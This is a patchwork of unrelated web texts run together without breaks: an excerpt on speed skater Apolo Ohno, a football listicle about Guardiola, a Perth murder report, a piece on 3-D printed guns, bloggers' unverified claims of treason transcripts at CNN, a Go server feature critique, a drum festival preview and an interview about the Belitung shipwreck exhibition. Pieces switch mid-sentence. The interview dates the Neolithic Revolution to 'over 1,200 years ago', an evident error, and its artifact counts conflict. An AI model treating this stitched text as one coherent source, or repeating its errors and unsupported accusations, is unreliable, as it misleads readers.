In the 1500 m final race, with one lap remaining and currently in second place, Ohno attempted to make a pass on the leader Kim Dong-Sung, who then drifted to the inside and as a result, Ohno raised his arms to signal he was blocked. Kim finished first ahead of Ohno but was disqualified for impeding, awarding the gold medal to Ohno. Fourth-place finisher of the race, Fabio Carta of Italy, showed his disagreement with the disqualification decision saying it was "absurd that the Korean was disqualified".[33] China's Jiajun Li, who moved from bronze to silver, remained neutral saying: "I respect the decision of the referee, I'm not going to say any more".[33] Steven Bradbury, the 1000 m gold-medal winner, also shared his views: "Whether Dong-Sung moved across enough to be called for cross-tracking, I don't know, he obviously moved across a bit. It's the judge's interpretation. A lot of people will say it was right and a lot of people will say it's wrong. I've seen moves like that before that were not called. But I've seen them called too".[33][34]
Ohno in Seattle, Washington, shortly after the 2002 Winter Olympics.
The South Korean team immediately protested the decision of the chief official of the race, but their protests were denied by the International Skating Union (ISU).[28][34][35] The Korean team then appealed to the International Olympic Committee (IOC) and the Court of Arbitration for Sport (CAS).[28][35] The IOC refused to see the case, stating, "This is a matter for the ISU to decide on. At this time, the IOC has received no proposal and taken no action".[28] The CAS sided with the officials of the race as "there is no provision in the short-track rule book for overturning a judgment call by the referee" after the Korean team asked to have a video replay be used to determine whether or not there was a rule violation.[28][35]
The disqualification upset South Korean supporters, many of whom directed their anger at Ohno and the International Olympic Committee. A large number of e-mails protesting the race results crashed the Olympic Committee's email server, and thousands of accusatory letters, many of which contained death threats, were sent to Ohno and the committee.[28][36][37] Ohno shared his thoughts on the Koreans' hostile reaction by saying, "I was really bothered by it. I grew up around many Asian cultures, Korean one of them. A lot of my best friends were Korean growing up. I just didn't understand. Later on I realized that was built up by certain people and that was directed at me, negative energy from other things, not even resulting around the sport, but around politics, using me to stand on the pedestal as the anti-American sentiment".[38][39] Earlier the same year, President George Bush had named North Korea as one of three members of the Axis of Evil, which had upset some South Koreans; directing their anger at Ohno was a less direct way of voicing anger against Bush's decision.[40] The controversy continued at the 2002 FIFA World Cup, held jointly in South Korea and Japan several months after the Olympics.[41] When the South Korean football (soccer) team scored a goal against the U.S. team, Korean players Ahn Jung-Hwan and Lee Chun-Soo made an exaggerated move imitating the move Ohno had made during the speed skating event to indicate the other athlete had drifted into his lane.[41]
After Salt Lake [ edit ]
Ohno continued to perform well in the sport after the 2002 Winter Games. He declined to participate in a 2003 World Cup short-track event in Korea for security reasons.[42] Despite the absence, he successfully defended his World Cup title during the 2003 season.[13] He continued his dominance by winning the World Cup title again in the 2004–2005 season.[43]
Ohno in lead at a 500 meters short-track race at the 2004 World Cup in Saguenay
At the first event of the 2005 World Cup event in China, Ohno severely sprained his ankle and withdrew from the event.[44] At the second event in South Korea, an estimated 100 riot police stood guard at Incheon International Airport to prevent harm from happening to Ohno.[45] Their concern stemmed from a possible lingering negative reaction from the 2002 Olympic Games disqualification controversy.[45]
Ohno won two gold medals, as well as the overall title at the meet despite suffering from a severe stomach illness,[46] and was surprised when the Korean crowd cheered his victories, saying, "I was really happy with the crowd's reaction. It was pretty positive right from the time we landed. I was really happy it wasn't (hostile). Everything went really smooth. We were happy."[47] He was unable to defend his World Cup title from the previous three seasons, finishing third in the 2005–2006 overall standings.[48] At the 2005 World Championships, he finished second overall, winning the 1000 m and 3000 m races.[49]
2006 Winter Olympics [ edit ]
In the 2006 Winter Olympics in Turin, Italy, Ohno stumbled during a semifinal heat in the 1500 m.[50] Finishing fifth, he was unable to defend his 2002 gold medal in the event.[50] Ohno was able to win the bronze medal in the 1000 m, with Korean skaters Ahn Hyun Soo and Lee Ho-suk finishing before him.
After two false starts from other skaters, Ohno won gold in the 500 m when he took the lead with an explosive start and held it until the finish.[51] Despite criticism that he appeared to move before the start, a violation of the rules, the race start was validated by the officials.[51][52] Afterward, Ohno said, "I was in the moment at the time. I thought I timed the start just perfect. The starter had been pretty quick all day, so that's why there were so many false starts at the beginning. But that was really good for me."[51]
On the same day as his 500 m gold win, he earned a bronze medal in the men's 5000 m relay, with an inside pass on Italian skater Nicola Rodigari on the final leg to put the United States in third position.[51] Later, during the medals ceremony for the event, the winning South Korean team and the Americans embraced, followed by a group picture featuring the medalists.[53]
Post-Olympic hiatus and return [ edit ]
Taking a year off from competitive skating when the 2006 Winter Olympics ended, Ohno returned to win his eighth national title, placing first in every event during the U.S. Championships held from February 23–25, 2007.[54] On April 26, 2007, he was inducted into the Asian Hall of Fame, an award which honors achievements of Asian Americans.[55]
From March 9–11, 2007, he competed at the 2007 World Championships held in Milan, Italy, winning gold in the 1500 m due to the disqualification of Song Kyung-Taek, who had blocked a passing attempt made by Ohno.[56] He won bronze in the 1000 m, 3000 m, and the 5000 m relay with teammates, Jordan Malone, Travis Jayner, and Ryan Bedford. Because of his wins, he became the overall bronze medalist, behind silver medalist Charles Hamelin and Ahn Hyun Soo, who became the first man to become a five-time World Champion.[57]
On December 24, 2007, in Kearns, Utah, Ohno won his ninth national title, finishing first in the 1000 m and the 1500 m.[58] He also finished first in the 500 m, but was disqualified for crosstracking.[58] In the 3000 m, he finished second.[58] At the 2008 World Championships in Gangneung, South Korea, Ohno won his first overall title, placing first place in the 500 m, second in the 1000 m, and third place in the 3000 m.[59] He defeated South Koreans Lee Ho-Suk, silver medalist and Song Kyung-Taek who finished third in points.[59] In 2009, he won his 10th national title and qualified for the world team.[9] Unable to defend his championship, he finished fifth in the overall rankings at the 2009 World Championships in Vienna, Austria, placing second at the 1000 m, and winning gold with the 5000 m relay team.[60][61]
2010 Winter Olympics [ edit ]
In preparation for the 2010 Winter Olympics, Ohno lost over 9 kilograms (20 lb) from his weight at the 2002 Winter Games.[62] He went down to a 65.7 kilograms (145 lb) bodyframe and a 2.5% body fat percentage, enduring a 5-month 3-a-day training program combined with a strict nutritional program.[62][63] As a result, he could lift double the weight he could before the training.[63] With respect to his training regimen, Ohno said: "Come these Games, there's no one who's going to be fitter than me. There's just no way. Whether I can put it together on the ice or not and feel good, that's a different story. But I know, from a physical training standpoint, nobody's even close... I've never prepared like this in my life—for anything. I want to leave nothing on the table."[63]
Trials [ edit ]
During the U.S. Olympic Trials held September 8–12, 2009, in Marquette, Michigan, Ohno won the overall meet title and defended his national title.[4][9] He won the finals during the 500 m, 1000 m, and 1500 m races.[4][64] However, during the 1000 m time trial, Ohno came in second to J. R. Celski despite skating a personal best of 1:24.500 to Celski's personal best of 1:23.981.[65] Celski, who finished second overall and was leading in points after the first two nights of the trials, was injured during a crash in the semifinals of the 1000 m race when his right skate sliced into his left leg; he did not skate in the 1000 m finals.[66][67] Ohno had a narrow victory in the 500 m, beating out the silver place finisher Jeff Simon by only.039 of a second.[64] Ohno, Celski, Jordan Malone, Travis Jayner, and Simon Cho were the top five finishers at the trials.[66] Afterwards, Ohno said of the nominated team: "This is the strongest team we've ever had. I feel really good about how we will do in the next Olympics."[66]
Games [ edit ]
In the 1500 m final, Ohno placed second after two Korean skaters, Lee Ho-Suk and Sung Si-Bak, made contact and crashed into the wall during the final turn of the final lap.[68] He was in fourth place leading into the crash, and as a result, moved into second place, earning the silver.[68] Fellow American skater J. R. Celski finished with the bronze medal. The gold medal went to South Korea's Lee Jung-Su.[68] This win allowed Ohno, with six career medals, to tie Bonnie Blair for most medals won by a U.S. Winter Olympian.[68]
Heading into the 1000 m final, Ohno had won the overall silver medal for the 1000 m during the 2009–10 World Cup by competing in three of the four competitions during the season.[69] During the finals of the 1000 m, Ohno finished in third place, making a comeback from a slip with less than three laps remaining.[70] With the bronze medal win, he became the most decorated American athlete ever at the Winter Games with seven career medals.[70] Bonnie Blair, the former record holder, said she was happy for his accomplishment, adding: "It's a great feat for him, U.S. speedskating, and the United States of America. We hope that more kids will see his accomplishments and want to try our great sport that has been so good to us and taught us so much about what it takes to be successful in life."[70]
In the 500 m final, Ohno finished the race in second place behind Canada's Charles Hamelin.[71] However, he was disqualified after impeding François-Louis Tremblay of Canada around the final turn. The silver medal went to Sung Si-Bak, with Tremblay taking the bronze.[71]
The 5000 m relay team for the United States finished with the bronze medal.[72] The team, consisting of J. R. Celski, Simon Cho, Travis Jayner, Jordan Malone, and Ohno, were in the fourth position for the majority of the race.[73] With a strong push from Celski with two laps to go, Ohno as the anchor leg was able to pass the Chinese team for third place; Canada won the gold and South Korea took silver.[73] This bronze medal was the eighth Olympic medal of his career.[73]
Personal life [ edit ]
In the United States, Ohno is credited with popularizing and being the face of his sport.[6][7] He said it is amazing being a role model to younger skaters.[7] Growing up, he did not have that influence within his sport, but looked up to other athletes outside his sport, such as Muhammad Ali, Joe Frazier, and Lance Armstrong.[7] Training for short track has been the main focus of Ohno's life, but he has been able to work on other endeavors. He studied business at the University of Colorado at Colorado Springs.[74]
After the 2010 Winter Games, he created the Apolo Anton Ohno Foundation and partnered with the Century Council's Ask, Listen, Learn Program to discourage underage drinking of alcohol and to promote a healthy lifestyle.[75][76] Furthering his goal of promoting healthful food choices and working with the endorsement of the Washington State Potato Commission, he will be working on a cookbook with top Seattle chefs in 2010.[77]
He has an interest in pursuing a career in the entertainment world.[7] He participated and won the fourth season of the U.S. reality show Dancing with the Stars with his partner Julianne Hough. He returned for the 15th Season which features all-star celebrities. Ohno's interests in fashion led him to be a guest judge on the fashion reality show Project Runway in 2008, and to an endorsement deal with Omega, the maker of luxury watches, in 2010.[77][78] Omega President Stephen Urquhart said, "We are very proud to support Apolo here in Vancouver and congratulate him on his outstanding performance. He is poised to make history of his own here and we are thrilled that he is part of the Omega family".[79] He also appeared on Minute to Win It as the host of the GSN revival in 2013 since he is a fan of the show.[80]
Ohno has an interest in being a philanthropist. He participated in GAP's campaign to fight the spread of HIV/AIDS in Africa by joining Product Red.[81] Half of the proceeds went to The Global Fund to Fight AIDS, Tuberculosis and Malaria.[81] Besides working with The Salvation Army and the Clothes off our Back Foundations, he used his fame to help raise funds for a Ronald McDonald House in Seattle after the 2002 Winter Games.[82][83] He helped raise $20,000 for Nikkei Concerns, a provider of care and services for Japanese elders living in the Pacific Northwest.[84] Later that year, Ohno joined Senator Ted Kennedy in Washington, D.C. to show |
opted instead for Germany...
1. Philosophy
In Europe's top five leagues, Bayern only trail one team when it comes to possession and pass completion. That team is Barcelona.
Quite simply, Barcelona to Bayern Munich makes sense - it's a good fit. The German giants like to dominate possession, they bully teams in a similar manner to Barcelona in La Liga.
The structure is similar - the club is majority owned by the fans - and the club, and the league, is on the up. An impressive stadium, excellent training facilities, and a sizeable transfer budget offers flexibility, and the capacity to grow. For a romantic like Guardiola, the history - the four European Cups - is also appealing.
2. The opportunity to win immediately
Bayern Munich went into the winter break 11 points clear of second-placed Bayer Leverkusen. They have a great team, superb young players, and offer Guardiola the opportunity to monopolise the Bundesliga - just like he did with Barca in Spain.
In Toni Kroos, Xherdan Shaqiri, Dante, Javi Martinez, Thomas Muller, and Manuel Neuer, Bayern Munich have a talented young core.
Supplemented by world-class players like Philipp Lahm and spearheaded by one of the most potent front threes in world football - Franck Ribery, Arjen Robben and Mario Gomez, and you can begin to see the logic behind Guardiola's decision.
After all, Bayern have reached two of the last three Champions League finals. They are a European powerhouse, and they've got the squad to get even better.
3. Sir Alex Ferguson
Guardiola teased Premier League fans earlier this week when he said he'd love to manage in the England. The next day he signs with Bayern Munich. Oh…
But the fact remains the Spaniard is likely to manage in England, if not in the immediate future, then surely within the next 5-10 years.
And the best fit is still Manchester United. It's just the timing is not right at the moment. As long as Sir Alex Ferguson occupies the Manchester United hot-seat, any prospective occupant must wait their turn.
4. Chelsea and Manchester City are too unstable at present
The situation at Chelsea fails to flatter the club, while Manchester City are the antithesis of the Barcelona way.
Both seemed to have been hedging their bets towards a Guardiola appointment - City by hiring his backroom buddies from the Nou Camp, and Chelsea by sacking Roberto Di Matteo and appointing Rafael Benitez on an 'interim basis.'
So both privately must be disappointed with his decision, and for Chelsea especially, the decision to sack Roberto Di Matteo now looks even stranger. A play for Jose Mourinho could now be their other option?
5. Raul
According to Spanish journalist Guillem Balague, former-Real Madrid and Schalke star Raul played a large part in helping to convince Guardiola to opt for the Bundesliga.
The former-Barca boss could be drawn in by the club's history, both domestically and in the Champions League, and Raul reportedly persuaded Guardiola that the Bundesliga in one of the strongest, and one of the most entertaining, in the world. High praise indeed.Body found in boot of burnt-out car in Perth identified as Travis Mills
Updated
WA police have identified the remains of a suspected murder victim found in the boot of a burnt-out car as Perth man Travis Bennjamin Mills.
The car was found parked in a new housing estate in Hilbert, near Armadale.
The death of Mr Mills, 30, is being treated as a homicide by officers from the Major Crime Squad.
Officers searched a Seville Grove home on Saturday.
Police are appealing for anyone with information about the death to come forward.
They are also calling for anyone who spotted Mr Mill's green Ford sedan in the areas between Poad Street, Seville Grove and Hilbert, particularly between 4pm on Thursday 1am on Friday, to contact Crime Stoppers.
Topics: murder-and-manslaughter, armadale-6112
First postedNow the Internet is scattered with hundreds of videos of people shooting several different kinds of untraceable plastic guns.
The government is flummoxed about what to do. Last year the State Department tried to ban people from sharing files for one of these guns, called the Liberator. Yet here it is, sitting on my laptop. Along with hundreds of other 3-D files. The Department of Homeland Security anticipated this problem, sending a memo to law enforcement noting that “Limiting access may be impossible.”
Ginger Colburn, a spokeswoman for the Bureau of Alcohol, Tobacco and Firearms, said it is not illegal to print and make a gun in your own home. Yet if someone were to print an all-plastic gun, they would be breaking the Undetectable Firearms Act, which prohibits owning a gun that cannot be seen in a metal detector.
Image A 3-D printed gun.
It took me about five minutes to find these gun schematics online. A teenager who grew up on the Internet could probably find them in half that time.
Not all of the plans I downloaded have been tested to ensure they work; some are concepts. But people I contacted in the underground proliferation of guns from 3-D printers, who all operate anonymously, said that almost all of the files are technically accurate, and most have been printed, tested and, in many cases, used to fire bullets.Steve Bannon and Jared Kushner
A group of bloggers who believe that there was a conspiracy between the Trump campaign and Russia asserted this week that CNN and possibly other news outlets were in possession of transcripts that could be evidence of treason by Trump son-in-law Jared Kushner or White House Strategist Steve Bannon.
Claude Taylor of the Patribotics blog, revealed on Wednesday that he had a series of quotes from CNN officials about the transcripts.
“I have a series of quotes from Senior CNN Executives candidly describing their Network, relationship with WH and what they know..follows,” Taylor wrote on Twitter on Wednesday.
According to the blogger, one CNN executive was quoted saying, “We have seen and have copies of transcripts of calls between Kushner, Bannon and high level Russian official.”
The CNN executive allegedly added: “At the least, those two committed treason, and it’s hard to believe Trump wasn’t part of it”
I have a series of quotes from Senior CNN Executives candidly describing their Network, relationship with WH and what they know..follows
— Claude Taylor (@TrueFactsStated) July 5, 2017
Senior CNN Executive: "We have seen and have copies of transcripts of calls between Kushner, Bannon and high level Russian officials". 1/2 — Claude Taylor (@TrueFactsStated) July 5, 2017
"At the least, those two committed treason, and it's hard to believe Trump wasn't part of it". 2/2
— Claude Taylor (@TrueFactsStated) July 5, 2017
Several other bloggers who have been looking for evidence of an illegal conspiracy to get Trump elected have said that other news outlets also have the transcripts.
There is. WaPo is withholding a bombshell, per USIC/Mueller's request. CNN also has a big story. — Counterchekist (@counterchekist) July 5, 2017
Further to @TrueFactsStated report on CNN, my own sources confirm that CNN has transcripts of Kushner and Bannon; WaPo has better evidence — Louise Mensch (@LouiseMensch) July 5, 2017I’m really happy that this feature is getting implemented. Being a programmer myself I’m looking for simple minimalistic approaches where possible. Here are my $0.02 about why do I find the experience a little too inconsistent:
Three challenges types?
The idea behind auto-match is to make things easier for newcomers / not harder. We already have direct challenges and open challenges, having auto-matches as third category will make the whole experience unnecessarily conflated. From the design perspective I would see it as a new feature on top of existing challenge model rather than a completely new challenge type.
Where is my game…
For a new joiner who is trying to start a game, not seeing his game on a radar might be really confusing. After all he just wants to play a game, doesn’t he? If there are few players on a server, or your rank is very high (or low) - do you setup an auto-match and wait? But then noone can see you, or ask you “Hey, I’ve noticed you have a game open, but I’m just outside of your rank preference, would you adjust the setting for me please?”. In the end he might prefer to get his game on the radar, and to do that … he needs to click Custom button, intuitive isn’t it? But why do we need to make a choice at all?
Keep it simple
Why not keep the open-challenges as they used to be, with the small twist, that challenges with standard settings ‘attract’ each other. There is no good reason to not show them on the radar. As soon as two ‘compatible’ challenges are open an ‘auto-match’ should happen between those challenges resulting in a game. IF someone picks the game from the radar, the player that set up the game shouldn’t mind?
Timed wait
It may seem that timed wait is incompatible with open-challenges protocol, but the solution could be as simple as making fresh auto-match challenges disabled on the radar. Challenges player could pick could be restricted by the effective (time based) rank limit rather than full declared one.
Symmetric rank limits
If someone wants to play with player 2 stones stronger, there should be another person willing to play with player 2 stone weaker. So it’s natural to make the limits symmetric, isn’t it? However the limitation feels artificial - if someone does want to play stronger players, he is probably willing to wait until player happy to play with him shows up. Generally we should let users decide how and whom they want to play. Slight restrictions could be made in case of auto-match to improve pairability, but again I don’t see a reason why we need a different experience compared to open challenges.
No such thing as 'No preference’
I don’t mind the kind of time settings I play, but I do have preference. I believe everybody does. It feels like ‘No preference’ was introduced to get a better chance of finding a match, however ‘loose’ preference is as good. In case of mismatch server can always ‘throw a coin’. Again a minor thing, but makes the experience slightly less consistent.
Lost opportunities
Basing the auto-match on open challenges gives interesting opportunities - for example conditional ‘auto-matches’ allowing negotiation of mismatches, etc. That’s just nice to have, not needed right now. However if auto-match stays as a different category - these potential features will never be possible to implement.
New picker for board size!
I love it. If only all pickers were like that, ideally with 3 shades supported:
No, no! Hmm, maybe? Yes, please!
That would solve the ‘No preference’ problem while giving nice and consistent feel for all the game settings.
Whatever shape the auto-match feature takes, it will be a good addition to the server. I do believe however, that this is a great opportunity to implement the best and simplest game making experience available in the internet. Let’s use this chance wellPREVIEW
What: Victoria Drum Fest
When: Sunday, 12:30 p.m. to 5:30 p.m. (doors 12:15 p.m.)
Where: Victoria Marriott Inner Harbour Hotel, 728 Humboldt St.
Tickets: $40 advance, $50 door (at Long & McQuade, Tom Lee Music)
article continues below
The drummer, usually situated behind the band, can be easy to overlook.
Yet the importance of the stick-man (or woman) cannot be overemphasized says Chad Wackerman, a drummer who played on 27 of Frank Zappa’s albums. After all, it’s the percussion who will determine a song’s tempo, energy level … even the mood.
“The drummer in the band actually has more power to change the music than anyone else,” the California musician said this week.
“You’re kind of like a conductor, as a drummer. I think a lot of people don’t realize that.”
Wackerman and his Roland V kit will be at Victoria Drum Fest on Sunday. During this educational performance, he’ll discuss his storied career and show aspiring drummers a trick or two.
The name might not ring a bell. However, among the cognoscenti, Wackerman is an admired figure. As well as playing with the late Zappa for seven years, the 57-year-old recorded and toured with such notables as James Taylor, Steve Vai, Barbra Streisand and Men at Work.
Wackerman just completed a tour of Australia and New Zealand with Taylor. He subbed in for the legendary Steve Gadd, the singer-songwriter’s regular drummer.
“James is a fabulous guitar player. He’s a super-nice guy, a great person. He’s kind of like how you’d expect him to be through hit songs. He’s really sincere, really honest.”
Phoning from his Long Beach home, Wackerman said he learned much during his tenure with Zappa, who was renowned for the complexity of his music, ranging from rock, jazz, doo-wop and avant-garde classical.
Zappa demanded much of his players, imposing rigid discipline and high musical standards. Wackerman recalled his former boss liked to “shift gears” on stage — instantly changing the arrangement and styles of his songs. Zappa would manage this through split-second visual prompts.
“If you learned a tune as a heavy-metal tune, he would give you a certain visual cue and it would turn the song into reggae. And you’d have to figure out how to do that,” he said.
“The whole band got very good at it. It was like performance art.”
Wackerman comes from a family of percussionists. His father is Chuck Wackerman, a drummer and long-time educator who still teaches at the age of 86. Wackerman’s drummer brother Brooks played with Bad Religion and is now with heavy-metal band Avenged Sevenfold.
Another drumming brother, John, has performed with Lindsay Buckingham and Brian Auger. Meanwhile, bassist Bob Wackerman runs a production company that records music for such companies as Disney and Universal studios.
Some of Chad Wackerman’s most challenging musical experiences were with British guitarist and composer Allan Holdsworth. Holdsworth, who died last month, was a guitarist’s guitar player admired by such guitar heroes as Zappa, George Benson, Eddie Van Halen, Joe Satriani and John McLaughlin.
Holdsworth, one of Wackerman’s best friends, performed with the drummer regularly in the 1980s and ’90s. The guitarist was revered for his idiosyncratic way of improvising, employing a lyrical style more like that of a saxophonist or a violinist, Wackerman said.
Like Zappa, gigging with Holdsworth demanded great concentration from his bandmates. Wackerman says it made him aware of the importance of contemplating “the big picture” while playing, rather than focussing solely on one’s own contribution.
“The best drummers think in a big-picture way. They make everyone else sound better. That’s the key,” he said.One of the most important discoveries in marine archaeological history occurred in 1998, just off Indonesia’s Belitung Island in the western Java Sea: A 1,200-year-old Arabian dhow with an astounding cargo of gold, silver, ceramic artifacts, coins, and tangible personal effects. The ship’s hold contained some 57,000 pieces in total and yet no human remains. The Lost Dhow: A Discovery from the Maritime Silk Route, now on show at the newly opened Aga Khan Museum in Toronto, Canada, explores the movement of cross-cultural exchange, trade, and technology between the Abbasid Caliphate (750-1258 CE) and Tang dynasty China (618-907 CE) through the prism of an ancient shipwreck. In this exclusive interview, James Blake Wiener of Ancient History Encyclopedia (AHE) speaks to Mr. John Vollmer, Guest Curator for the Aga Khan Museum’s presentation of this exhibition, about the importance of the objects in this exhibition and what the exhibition means to the recently opened museum.
JW: John Vollmer, welcome to Ancient History Encyclopedia, and thank you so much for speaking to me about this fantastic presentation of 300 artifacts at the Aga Khan Museum.
The Lost Dhow was a popular show at the Asian Civilisations Museum of Singapore; now, as the show makes its North American debut, how important was it for the Aga Khan Museum to host this exhibition?
JV: As I see it, there are at least three reasons why it is important for us.
First, it fulfills the Museum’s mission of offering visitors windows into worlds unknown or unfamiliar, by shedding light on the artistic, intellectual and scientific heritage of Muslim civilizations and their contributions in an interconnected global and world heritage. In this case, those windows focus on global commerce in the Indian Ocean region during the ninth century CE and highlight the role that Muslim cultures played in those exchanges.
Secondly, on a strategic level, this is a demonstration of a brand new museum’s positioning within the world’s museum community. It highlights the Aga Khan Museum’s significance locally and burnishes its reputation internationally. It is also a clear demonstration of the leadership role that the Museum is determined to play in exposing its visitors and online audiences to the impact of Muslim civilizations in diverse ways.
Thirdly, although less obvious to visitors, is the Museum’s resolve to engage the academic and scientific communities in dialogue about wide-ranging issues affecting maritime archaeology, recovery, conservation, the art market, and the roles museums play in this world. As you know, this exhibition was initially a joint project between the Asian Civilisations Museum and the Smithsonian Institution in Washington, D.C. When controversy arose about the archaeological standards employed in the recovery of the cargo, the Smithsonian cancelled its plans to host the exhibition. The issues surrounding the controversy over the Belitung shipwreck are complex and nuanced and have been raised and discussed in a wide range of programs at the Museum, including an upcoming international symposium (February 28, 2015) that centers on this exhibition.
JW: Could you perhaps explain to our readers what the “Maritime Silk Route” was and contextualize this fascinating discovery in relation to our understanding of maritime trade in Late Antiquity (or the Early Middle Ages)? Should we think of the Maritime Silk Road as the watery half of the world economy in the eighth and ninth centuries CE?
JV: Since the Neolithic Revolution that transformed society from hunters and gatherers into farmers and herders over 1,200 years ago, commerce has been part of the universal human condition. A challenge in facilitating the exchange of goods and services for items and materials that are not locally available is, and has always been, transport. Domesticated pack animals increased the payload significantly; sleds and carts offered even greater returns but required roads and bridges to be effective. Boats and ships further revolutionized trade, increasing volume exponentially.
The Indian Ocean washes the shores of the civilizations of East Africa, West Asia, the Indian Subcontinent, Southeast Asia, and East Asia. While skirting the shorelines of these waters certainly connected local ports from very early times, the discovery that the seasonal monsoon winds could be harnessed for open ocean sailing by Arab traders during the first century of the current era transformed commerce into a truly global phenomenon. Notwithstanding the threats posed by weather, faulty equipment, or piracy, maritime trade on this global scale required a reliable and functioning network of ports and shipping facilities. In addition, trade required that people engage in the myriad of tasks involved in placing orders, securing goods, handling, packing, storing, repacking, transporting cargos from ports, and distributing them to markets.
The existence of powerful empires in East and West Asia — as well as in Southeast Asia and the southern parts of the Indian subcontinent — contributed to stability in the region and encouraged trade to flourish. When you consider the estimated weight of the cargo of the single vessel we know as the Belitung shipwreck at 25 tons and compare it to the mere 300 to 400 pounds a camel making the overland trek could manage, you begin to appreciate the scale of the “watery half” of the world economy at this period.
JW: The vast majority of the 60,000 items recovered from the dhow wreck were the tens of thousands of Changsha bowls — why was this the case? Aside from being coveted by wealthy elites in the Iraqi cities of Basra and Baghdad, what is remarkable about these ceramics?
JV: As we worked on this exhibition, the team often joked about the supply of dishes for a chain of Chinese restaurants across the Indian Ocean region. It is a completely frivolous notion — except broken pieces of these Changsha ceramics have been found in excavations from the coast of eastern Africa to Indonesia. They are a testament both to China’s capacity for mass manufacturing and to foreign demands for its goods.
China’s ninth-century CE mass production was on a scale not seen in Europe before the 16th century CE. Much like today’s Chinese table ceramics, which run the gambit from inexpensive to pricey, supplying the lower end of the market supports the upper end by creating demand, distinguishing taste, and celebrating rarity. What we do not know is who actually acquired and used the small bowls that were so widely distributed across the region. Certainly they would have been more expensive than locally manufactured dishes, but the sheer volume of the Changsha wares, if we extrapolate from the Belitung cargo, suggests a broad range of people found them desirable and could afford them. Merchants knew they would sell, or there would not have been such a huge order on board this dhow.
JW: How does The Lost Dhow illustrate the brilliant and creative set of exchanges between China and the Islamic world over a millennium ago, Mr.Vollmer? Tang China and the Abbasid Empire were locked in a complex embrace of trade and competition around 800 CE; both regarded Central Asia as their backyard, and yet both were dependent on global trade.
JV: Engagement between these empires took many forms: warfare, diplomacy, and commerce, as well as artistic and technological exchange. Foreigners involved in international trade lived and worked in the port cities throughout the region. Language, religious practices, dress, cuisine, and different ways of doing things flowed outward from these communities.
Among the most humble objects recovered from the shipwreck are personal items that have been associated with the crew on board. Gaming pieces, a portable ink stone, a cymbal, spoons, a mortar and pestle, a glass vial — these have been clustered by culture in the exhibition to represent South Asians, Chinese and West Asians. From other records we know that Arabs, Iranians, Omanis, Chinese, Malays, Indians, Sri Lankans, Thais, Javanese, and Somalis, among others were involved in ninth-century CE trade.
Traders and suppliers of the period were well-informed about the tastes and demands of foreign markets. A group of bright green-splashed white wares in the shipment is related to the two- and three-color splashed wares used in China; but these single-color wares were made only for export to the Abbasid Empire.
Two of the three underglaze-painted, cobalt-decorated, white wares found in the wreck are the earliest Chinese experiments to produce the ubiquitous blue-and-white ceramics we call “China.” Cobalt ore is found only in Iran. It and the technology of using it as pigment to decorate ceramics were imported from West Asia. Using blue cobalt to decorate the much-coveted Chinese pure white high-fired stonewares with patterns of lozenges with palmettes at the corners — a motif favored by the Abbasids — sheds light on some of the complexities of exchange beyond the fiscal one.
JW: Special mention ought to be made of the Buddhist kingdom of Srivijaya, which was based in Sumatra and Java and located in present-day Indonesia. It, too, was at the crossroads of the global maritime trade. In ways similar to present-day Singapore, it controlled the main choke point of that trade — the Straits of Malacca — with a monopoly on the movement of spices that were worth more per ounce than gold at that time: nutmeg, clove, and cinnamon.
Some scholars theorize that this 17-meter dhow was actually on its way to Java or Sumatra before sailing towards Arabia, as Belitung Island is not on the way to Malacca. What evidence is there to further this assertion?
Could the cargo have even been an imperial diplomatic gift, perhaps to the caliph in Baghdad? What do you believe?
JV: I believe international commerce then, as now, is much more complicated than taking a single cargo from point A to point B. Indeed, this is true, despite our 20th-century “invention” of containerized shipping, which has transformed modern global maritime commerce. The merchants involved with our dhow were already practicing this concept in the mid-ninth century CE. Large ceramic jars filled with stacked bowls made for easy loading and unloading and could facilitate distribution at any number of ports of call. Chinese utilitarian ceramics (the bulk of the surviving cargo) were marketable everywhere in the Indian Ocean region and may well have been used to exchange for other commodities at many ports. For a West Asian vessel (which we know because of its particular sewn plank construction) to return to the Persian Gulf region without spices — some of the most valuable of all trade goods — is incomprehensible.
The presence of luxury wares of gold and silver reflecting the most sophisticated Chinese Tang dynasty court tastes or the “collection” of antique Chinese copper alloy mirrors suggests a much more focused purpose for the shipload. Simon Worrall, who has written the catalogue that accompanies the exhibition, has speculated that these goods, many of which are decorated with traditional Chinese wedding symbols, were part of a dowry for a royal wedding. We have no record of a Tang princess being sent West, nonetheless these pieces are truly wonderful, and powerfully enigmatic. They have a story to tell, which at this point we are unable to discern.
JW: Mr. Vollmer, what surprises await visitors to The Lost Dhow? Are there any artifacts that are not to be missed? If so, which in particular?
JV: Among the gold and silver objects is a solid gold cup, which was made in China, but reflects technological, iconographic, and stylistic influence from West and Central Asia. With its decoration of exotic dancers and musicians and a thumb guard with addorsed heads of bearded Central Asians, it literally gleams in the gallery. It is significantly larger than any other gold cup found in China — this example is mug-sized; those from Chinese tombs tend toward the demitasse range. Was this a personal trophy? A special order destined for trade or gifting? We simply do not know.
I have mentioned the blue-and-white dishes, but a visitor should not miss the charming green-splashed cups and goblets with three-dimensional fish or turtles at the bottom that would have been revealed when the beverage was drunk, or the handle of a ewer that is a cleverly sculpted lion, which literally bites the rim of the jug.
The Changsha bowls that make up over half the exhibition have designs in two colors of underglaze painting. There are a limited number of stock designs, which are repeated over and over by hand, probably by many artisans. I like the fact that no two of the same pattern are identical. I also adore the small selection of Changsha bowls with what we call “eccentric” designs: one is signed with rather pompous lineage, one bears a caricature of a curly-headed bearded foreigner, and another has been used by its painter to practice writing Chinese characters.
While the majority of ceramics are proportioned for table use, a green-splashed white ware ewer with a dragon-headed stopper stands over a meter high. The shape is based on West Asian metalwork prototypes, but at this scale it must have been made for show, not use.
I have also mentioned the large ceramic containers that were used to hold Changsha bowls. A number of monumental functional jars and containers used for water and food for the crew, as well as container for other trade goods, have a singular majesty. Some still bear witness to the nearly 1,200 years they were lost to human memory at the bottom of a West Java Sea where a coral reef gradually engulfed the stern area of the sunken vessel.
JW: Finally, what was the most rewarding part of working on The Lost Dhow?
JV: I have worked with Chinese art for most of my career and have handled Tang dynasty ceramics in several museums and private collections. To this point they had always been singular, precious objects. The Belitung shipwreck demanded that I (and the visitors to the exhibition) acknowledge that in their own time these artifacts were really commodities, produced in large numbers, regardless of how exquisitely each has been realized. For the merchants involved with this cargo, these wares had values calculated in monetary terms.
I also loved teasing out the threads of a complex narrative from this shipwrecked dhow and enjoyed working with a fantastic team of designers, educators, curators, and installation technicians to produce this exhibition. The display conveys to our visitors the physicality of the ship — its size and specifications — and highlights its dazzling cargo.
JW: Mr. Vollmer, thank you for speaking with me and sharing your knowledge. We eagerly await the next exhibition at the Aga Khan Museum.
